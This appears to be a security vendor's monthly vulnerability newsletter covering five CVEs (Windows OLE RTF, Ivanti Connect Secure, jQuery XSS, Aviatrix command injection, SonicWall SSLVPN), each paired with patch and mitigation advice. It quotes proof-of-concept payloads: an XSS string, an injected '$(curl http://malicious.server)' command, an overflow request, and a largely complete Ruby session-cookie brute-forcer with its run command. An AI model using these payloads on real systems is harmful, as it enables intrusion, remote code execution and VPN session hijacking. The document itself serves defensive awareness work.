The Bug Report - January 2025 Edition

By Jonathan Omakun · January 30, 2025

Why am I here?

Ah, January—the month of resolutions, regrets, and, apparently, really bad code. While you’re trying to get back to the gym or cut down on caffeine, attackers have been busy exploiting vulnerabilities faster than you can break your New Year’s promises. Welcome to The Bug Report, where we unpack the latest digital disasters in cybersecurity and give you the tools to stay one step ahead.

This month’s CVE catalog is the cybersecurity equivalent of a greatest hits album: remote code execution, command injection, and even some fileless malware for those who like their vulnerabilities fancy. Whether it’s Ivanti appliances going full meltdown or legacy jQuery proving once again that old code dies hard, we’ve got a lot to cover.

Here’s what’s making waves in the vulnerability world:

CVE-2025-21298: Microsoft Windows OLE – RTF’s Revenge
CVE-2025-0282: Ivanti Connect Secure – When Buffers Go Boom
CVE-2020-11023: jQuery – Legacy Code, Modern Pain
CVE-2024-50603: Aviatrix Network Controller – Command Chaos
CVE-2024-53704: SonicWall NSv – Session Cookie Shenanigans

Ready your metaphorical shields and patching scripts. It’s about to get bumpy.

CVE-2025-21298: Microsoft Windows OLE – RTF’s Revenge

What is it?

Ah, Rich Text Format (RTF)—the file format that just won’t die. Unfortunately, neither will its vulnerabilities.
CVE-2025-21298 is a remote code execution (RCE) flaw in Microsoft Windows Object Linking and Embedding (OLE) that allows attackers to execute arbitrary code when users open or preview malicious RTF files. The vulnerability stems from improper validation of user-supplied data when processing embedded OLE objects, leading to memory corruption.

Here’s the kicker: Exploitation requires minimal user interaction. Simply previewing the file in Microsoft Outlook can trigger the attack if RTF previews are enabled. Think of it as a digital booby trap disguised as a memo.

Here’s a look at a PoC of a malicious RTF payload designed to trigger the vulnerability:

Unset
{\rtf1{\object\objhtml\objw1\objh1\objupdate\rsltpict{\*\objclass
None}{\*\objdata
0105000002000000... //OLE payload here
}}

This snippet forces the RTF parser to execute embedded OLE code, allowing attackers to compromise the victim's machine without additional interaction.

Who cares?

Anyone using Word or Outlook should care, especially in environments where employees often interact with RTF documents. This vulnerability is highly exploitable in phishing campaigns.

What can I do?

1. Patch and relax: Microsoft dropped a fix on January 14, 2025. Get it done before that next "important" document lands in your inbox.
2. Stop RTF previews: Turn off RTF previews in Outlook (File > Options > Trust Center). Consider it the digital version of not touching random wires.
3. Teach your team: Tell your coworkers to stop opening random attachments titled INVOICE_URGENT.rtf. Awareness might save you from a lot of headaches.

CVE-2025-0282: Ivanti Connect Secure – Buffer Overflow in a Bad Place

What is it?

Imagine your Ivanti appliance as a well-organized librarian, sorting requests and responding to clients precisely. Now, picture someone dumping an absurdly large stack of gibberish onto its desk, causing it to panic, overwrite its own notes, and ultimately lose control. That’s CVE-2025-0282: a stack-based buffer overflow (CWE-121) that allows attackers to send a maliciously crafted clientCapabilities value exceeding 256 bytes. This results in memory corruption and remote code execution (RCE).

APT groups like UNC5337 and UNC5221 have already exploited this vulnerability using sophisticated malware such as SPAWN, DRYHOOK, and PHASEJAM. Fileless techniques are in play, making it harder for defenders to detect attacks in progress.

A publicly available PoC demonstrates how attackers manipulate the vulnerable clientCapabilities parameter:

1. Payload construction: The PoC creates a string of 256+ bytes ("A" * 256), sending an oversized clientCapabilities parameter to overflow the stack.
2. Delivery: The payload is sent via a crafted HTTP POST request to the vulnerable endpoint:

Unset
body = "clientCapabilities=" + "A" * 256 # Payload triggers buffer overflow
http = Net::HTTP.new(target_ip, target_port)
http.post('/vulnerable_endpoint', body)

3. Execution: By overwriting the stack, the attacker gains control of the instruction pointer, allowing arbitrary code execution.

Who cares?

If you’re running Ivanti Connect Secure, Policy Secure, or Neurons for ZTA Gateways, you’re at risk. Affected versions include:

• Connect Secure < 22.7R2.5
• Policy Secure < 22.7R1.2
• Neurons for ZTA Gateways< 22.7R2.3

This is a major concern for organizations using Ivanti products for secure access and authentication.

What can I do?

1. Patch it like it’s hot:Ivanti has issued updates—get them now before this bug turns your appliance into an attacker's playground.
2. Give it a full check-up:Download Ivanti’s Integrity Checker Tool (ICT) and scan your appliance for any shady activity. Think of it as a CT scan for your network’s health.
3. Factory reset FTW: If ICT scans indicate compromise, perform a factory reset of the appliance before applying the patch to ensure all malware is eradicated.

Trellix Customers: Trellix Intrusion Prevention System contains detection for this vulnerability.

Upgrade to the latest version of the IPS Manager, and download the latest signature set from the Update Server to the Manager.

CVE-2020-11023: jQuery – Legacy Code, Modern Pain

What is it?

If you’ve been in web development long enough, you probably have fond memories of jQuery. Unfortunately, old habits die hard, and so do old vulnerabilities. CVE-2020-11023 is a Cross-Site Scripting (XSS) vulnerability in jQuery versions 1.0.3 to 3.4.1, stemming from a flaw in the htmlPrefilter function. This vulnerability allows attackers to inject and execute JavaScript when unsanitized HTML is passed to methods like .html().

Here’s a classic XSS payload targeting the vulnerable htmlPrefilter function:

Unset
<style><style /><img src=x onerror=alert(1)>

When processed by a vulnerable version of jQuery, this payload executes the alert(1) JavaScript, demonstrating how attackers can exploit unsanitized input.

Who cares?

Anyone still using outdated jQuery versions in their web applications—especially if they process user-generated content. The CISA KEV catalog recently flagged this vulnerability as actively exploited in the wild. Active exploitation means this isn’t just a theoretical risk. Legacy codebases often retain older dependencies, meaning this vulnerability continues to resurface.

What can I do?

1. Ditch the relics: Update to jQuery 3.5.0 or later. Seriously, it’s time to Marie Kondo your dependencies.
2. Clean before you serve: Use DOMPurify to sanitize user inputs before handing them off to jQuery. No one wants to eat off a dirty plate.
   • With the SAFE_FOR_JQUERY option: This ensures compatibility with legacy jQuery behavior but remains secure.
   • Without the SAFE_FOR_JQUERY option: Recommended if legacy behavior is not required, as it aligns with jQuery 3.5.0+.
3. Audit your stack: Go through your codebase like a detective at a crime scene. Find any references to old jQuery versions and toss them out like expired milk.

CVE-2024-50603: Aviatrix Network Controller – Command Chaos

What is it?

Think of your Aviatrix Controller as your cloud's air traffic control tower. It directs traffic, coordinates gateways, and keeps your network flying smoothly. But thanks to CVE-2024-50603, attackers can sneak in, slip in some fake flight plans, and suddenly, your entire cloud environment is stuck in a midair collision.

The vulnerability is a classic command injection issue (CWE-78), where poorly sanitized cloud_type and src-cloud-type parameters let attackers inject malicious shell commands. Once inside, they can deploy cryptocurrency miners like XMRig or hijack routing configurations entirely. Instead of managing traffic, your controller starts working for the enemy.

A malicious HTTP POST request can exploit this vulnerability, as shown in this snippet of a  

This publicly available PoC shows how attackers manipulate the vulnerable cloud_type parameter:

1. Payload construction: Attackers inject shell commands using metacharacters like |, ;, or $().
2. Delivery: The payload is sent via an HTTP POST request

Unset
POST /v1/api HTTP/1.1
Host: [target_host]
Content-Type: application/x-www-form-urlencoded
action=list_flightpath_destination_instances&cloud_type=1|$(curl http://malicious.server)

3. Execution: The controller processes the command, allowing the attacker to retrieve data, deploy malware, or modify configurations.

Who cares?

Organizations using Aviatrix Controllers in cloud environments are squarely in the crosshairs. Exploited instances can serve as a launchpad for further attacks, jeopardizing your entire cloud infrastructure.

Security researchers have already observed active exploitation, with attackers spreading Sliver backdoors and attempting to expand their foothold.

What can I do?

1. Patch before the skies fall: Upgrade to Aviatrix Controller versions 7.1.4191 or 7.2.4996 to ground this vulnerability for good.
2. Close the control tower: Don’t expose your controller to the public internet. A publicly accessible control tower is just asking for trouble.

CVE-2024-53704: SonicWall NSv – Session Cookie Shenanigans

What is it?

If your SonicWall NSv or Gen7 Firewall is the digital bouncer guarding your network’s VIP section, CVE-2024-53704 lets attackers forge an all-access pass. This critical authentication bypass vulnerability allows unauthenticated attackers to hijack active SSLVPN sessions simply by brute-forcing Base64-encoded session cookies. And the worst part? It works even if multi-factor authentication (MFA) is enabled because the attack doesn’t target usernames or passwords—it exploits a flaw in the session cookie validation process within the SSLVPN API.

The vulnerability lies in the /__api__/v1/client/sessionstatus endpoint, which an attacker can abuse as a boolean blind oracle—essentially playing a high-stakes guessing game until they land on a valid session cookie. Once successful, they impersonate an authenticated user, access internal resources, and move laterally across the network.

Since SSLVPN servers are often exposed to the internet, this is one of those bugs that can go from bad to “oh no” really fast.

Security researchers at Rapid7 developed a Ruby-based PoC that automates the brute-forcing process.

Crafting Fake Session Cookies

• The attack works by generating 32-character session IDs encoded in Base64.
• Attackers then XOR the first 31 characters to generate a checksum, which is appended as the 32nd character.
• The resulting string is Base64-encoded and sent to the SSLVPN API to check for a valid session.

Example function for calculating the checksum:

Unset
def calc_checksum(cookie)
checksum_val = 0
cookie.each_byte { |c| checksum_val ^= c }
checksum_char = [checksum_val].pack('C')
Base64.strict_encode64(checksum_char)[0]
end

Brute-Forcing the Session Cookie

• The script iterates through possible session prefixes, checking each against the API.
• If the response does not return "notfound", it means the guessed session is valid and can be hijacked.

Here’s the primary function performing the attack:

Unset
def brute_cookies(ip, port, cookie_prefix = '')
alphabet = [*'a'..'z']
alphabet.each do |char|
raw_cookie = cookie_prefix + char
# A session ID is 32 chars, minus 1 for the checksum.
raw_cookie += ([0].pack('C') * (32 - raw_cookie.length - 1))
raw_cookie += calc_checksum(raw_cookie)
throw "bad raw_cookie length #{raw_cookie.length}" unless raw_cookie.length == 32
encoded_cookie = Base64.strict_encode64(raw_cookie)
throw "bad encoded_cookie length #{encoded_cookie.length}" unless encoded_cookie.length == 44
res = get_sessionstatus(ip, port, encoded_cookie)
next if res.include? 'notfound'
pp "maybe: #{raw_cookie}" if $verbose
if "#{cookie_prefix}#{char}".length == (32 - 1)
log "[+] Found a valid session cookie: #{raw_cookie}"
else
brute_cookies(ip, port, "#{cookie_prefix}#{char}")
end
end
end


Testing the Session Status API

• The attacker queries the /__api__/v1/client/sessionstatus endpoint, supplying the guessed cookie.
• If the response includes "status": "active," the attacker has hijacked an active session.

Example request:

Unset
curl -k
'https://192.168.154.137:4433/__api__/v1/client/sessionstatus?cookie=VALID_COOKIE'

Automating the Attack

• The PoC is executed with:

Unset
ruby CVE-2024-53704.rb -t 192.168.86.119 -v

The script runs through possible session IDs until it finds a valid one.

This vulnerability is a nightmare for network security because it allows attackers to hijack active VPN sessions without needing any credentials. Forget phishing, credential stuffing, or MFA bypass techniques—none is necessary. Once an attacker brute-forces a valid session cookie, they can impersonate a legitimate user and gain full access to internal network resources. Since SSLVPN is often used to protect critical infrastructure, attackers can move laterally, exfiltrate data, or even deploy malware as authorized users.

What makes this even worse is the sheer scale of exposure. SSLVPN servers are designed to be accessible from the internet, making them an easy target for mass exploitation. If a company’s firewall is unpatched, attackers can run this exploit from anywhere worldwide and start guessing session cookies. Given how fast automated scripts can brute-force values, this isn't just a theoretical risk—it's a ticking time bomb. Security researchers at BishopFox have already warned that hundreds of thousands of SonicWall SSLVPN endpoints are publicly exposed, meaning the attack surface is massive.

And if that wasn't enough, detecting exploitation is tricky. The attack doesn't involve failed logins, brute-forced passwords, or other telltale authentication anomalies. Instead, attackers simply reuse an existing session, making it look like normal activity. Only deep log analysis of session reuse events might reveal something is off—but by then, it could be too late.

Who cares?

Organizations using SonicWall SSLVPN appliances need to drop everything and patch if they’re running:

• NSv Appliances: SonicOS versions before 7.1.3-7015
• Gen7 Firewalls: SonicOS versions before 7.0.1-5165
• TZ80 Appliances: SonicOS versions before 8.0.0-8037

Since SSLVPN is widely deployed, this vulnerability is a ticking time bomb for any unpatched system.

What can I do

1. Patch Before the Cookie Crumbles:
   • Upgrade to SonicOS 7.1.3-7015, 7.0.1-5165, or 8.0.0-8037 ASAP.
   • Patches are available on the SonicWall Customer Portal.
2. Limit SSLVPN Exposure:
   
   • Restrict SSLVPN access to trusted IP ranges—don’t let just anyone knock on your firewall’s front door.
   • Disable internet-facing SSLVPN access entirely and require VPN connections via internal jump hosts if possible.
3. Monitor for Suspicious Activity:
   
   • Look for Event ID 1153 in the authentication logs:
   • Repeated session reuse in the hundreds or thousands could indicate an attack in progress.